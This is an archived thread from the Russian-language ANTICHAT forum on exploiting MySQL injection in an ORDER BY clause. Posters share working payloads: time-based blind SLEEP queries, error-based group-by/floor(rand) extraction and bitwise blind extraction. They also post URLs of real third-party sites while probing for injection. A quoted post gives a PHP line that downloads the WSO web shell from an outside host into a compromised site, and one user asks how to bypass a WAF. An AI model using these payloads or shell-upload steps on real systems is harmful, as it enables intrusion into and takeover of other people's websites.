HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 29.11.2013, 01:27
Unknown
Guest
Сообщений: n/a
Провел на форуме:
15642

Репутация: 6
По умолчанию

Цитата:
Сообщение от [R  
eD"]
[R]eD said:
Есть иньекция вида:
Код:
Code:
SELECT * FROM `data` WHERE name = 'test' ORDER BY id {SQL-INJ}
Пробую делать так:
Код:
Code:
SELECT * FROM `data` WHERE name = 'test' ORDER BY id+group+by+concat((select+version()),floor(rand(0)*2))+having+min(0)+or+1+--+1
Но получаю:
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'group+by+concat((select+version()),floor(rand(0)* 2))+having+min(0)+or+1+--+1' at line 1
А если делать union select
Код:
Code:
SELECT * FROM `date` WHERE name = 'test' ORDER BY id union select 1
то получаю:
#1221 - Incorrect usage of UNION and ORDER BY
Как сделать правильно? Или после конструкции ORDER нельзя уже ничего сделать?
Инъекция в ORDER BY.

Такие инжекты крутите, как блайнд:

Код:
Code:
SELECT * FROM `data` WHERE name = 'test' ORDER BY id AND IF(SUBSTR(VERSION(),1,1)=5,SLEEP(5),0)
 
Ответить с цитированием

  #2  
Старый 29.11.2013, 01:30
Zen1T21
Guest
Сообщений: n/a
Провел на форуме:
51991

Репутация: 2
По умолчанию

ex'pert

SQLmap или руками.
 
Ответить с цитированием

  #3  
Старый 29.11.2013, 10:10
YaBtr
Guest
Сообщений: n/a
Провел на форуме:
132418

Репутация: 652
По умолчанию

Цитата:
Сообщение от [R  
eD"]
[R]eD said:
Есть иньекция вида:
Код:
Code:
SELECT * FROM `data` WHERE name = 'test' ORDER BY id {SQL-INJ}
Как сделать правильно? Или после конструкции ORDER нельзя уже ничего сделать?
Дополню ответ, который дал UXOR(может кому будет полезно):

Для эксплуатации инъекций применяется слепой метод:

Бинарный поиск всем знаком. Для того, чтобы вытащить 1 символ, нам необходимо послать 8 запросов.

Код:
Code:
SELECT if(ascii(substr(version(),1,1)) 0, 
                    # pow - возведение 2 в степень для получения необходимого числа:
                    #     2^0 = 1 = 00000001
                    #    2^1 = 2 = 00000010
                    #    2^2 = 4 = 00000100
                    # Так-же для этих целий можно использовать побитовый сдвиг
                    #    он и короче, но символы  могут фильтроваться
                    #        (Выше они используются для упрощения)
                    # 1 > (SELECT 1) = 2
                id, -id
        ))), 1000) LIMIT 9;
Так, что есть пища для размышления.
 
Ответить с цитированием

  #4  
Старый 29.11.2013, 13:35
Unknowhacker
Guest
Сообщений: n/a
Провел на форуме:
94006

Репутация: 24
По умолчанию

Нашёл, вроде как скулю, но что-то есть сомнения..

Код:
Code:
http://www.maxgame.com.ua/index.php?route=product/product&path=76'&product_id=852
 
Ответить с цитированием

  #5  
Старый 29.11.2013, 14:01
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию

UXOR, YaBtr, Вы что-то не то советуете.

Цитата:
Сообщение от [R  
eD"]
[R]eD said:
Есть иньекция вида:
Код:
Code:
SELECT * FROM `data` WHERE name = 'test' ORDER BY id {SQL-INJ}
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'group+by+concat((select+version()),floor(rand(0)* 2))+having+min(0)+or+1+--+1' at line 1
Как сделать правильно? Или после конструкции ORDER нельзя уже ничего сделать?
Код:
Code:
ORDER BY id|(SELECT 1 from information_schema.tables group by concat((SELECT version()),floor(rand(0)*2)) having min(0))
Если бы инъекция была в GROUP BY, то тогда так:

Код:
Code:
GROUP BY id is null, concat((SELECT version()),floor(rand(0)*2)) having min(0)
Unknowhacker, там нет инъекции.
 
Ответить с цитированием

  #6  
Старый 30.11.2013, 00:20
Always
Guest
Сообщений: n/a
Провел на форуме:
17560

Репутация: 0
По умолчанию

Цитата:
Сообщение от ZARO  
ZARO said:
Не обязательно. Если хочешь шелл в текущую папку залить, где скрипт выполняется, то надо в его случае:
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]copy[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'http://site.ru/wso2_pack.txt'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'./wso2_pack.php'[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Можно пример? А т залиться не получается...да и с багами такими первый раз судьбу связал)

http://blogs.simplefit.ru/recipe/rss/
 
Ответить с цитированием

  #7  
Старый 30.11.2013, 00:51
Sanic1977
Новичок
Регистрация: 29.10.2008
Сообщений: 1
Провел на форуме:
1034

Репутация: 0
По умолчанию

Привет всем!

Как обойти фильтрацию incapsula при SQL-инъекции?

Спасибо.
 
Ответить с цитированием

  #8  
Старый 30.11.2013, 01:02
Unknown
Guest
Сообщений: n/a
Провел на форуме:
77731

Репутация: 33
По умолчанию

Цитата:
Сообщение от Unknowhacker  
Unknowhacker said:
Нашёл, вроде как скулю, но что-то есть сомнения..
Код:
Code:
http://www.maxgame.com.ua/index.php?route=product/product&path=76'&product_id=852
нет там ничего ИМХО
 
Ответить с цитированием

  #9  
Старый 01.12.2013, 09:49
WallHack
Guest
Сообщений: n/a
Провел на форуме:
61136

Репутация: 32
По умолчанию

Попытка слепого метода в Havij

Почему когда Length of 'Current DB' is 16 все выводит нормально

А когда Length of 'Current DB' is 63 выводится все в кубиках ?
 
Ответить с цитированием

  #10  
Старый 01.12.2013, 14:07
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию

Цитата:
Сообщение от WallHack  
WallHack said:
Попытка слепого метода в Havij
Почему когда Length of 'Current DB' is 16 все выводит нормально
А когда Length of 'Current DB' is 63 выводится все в кубиках ?
Не путайте виды инъекций.

Судя по всему, у вас Blind SQL и Double-Blind (Deep Blind) SQL.

Если первой достаточно логического уровня и ответов типа true-false, то вторая дополнительно зависит от временных задержек между запросом и ответом сервера.

При нестабильной реализации 2ого варианта, вы будете получать не только некорректные данные, но и парсить неправильную длину нужных вам данных.

В вашем случае, Length of 'Current DB' скорее всего равен 62, и инъекция там не наблюдается.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ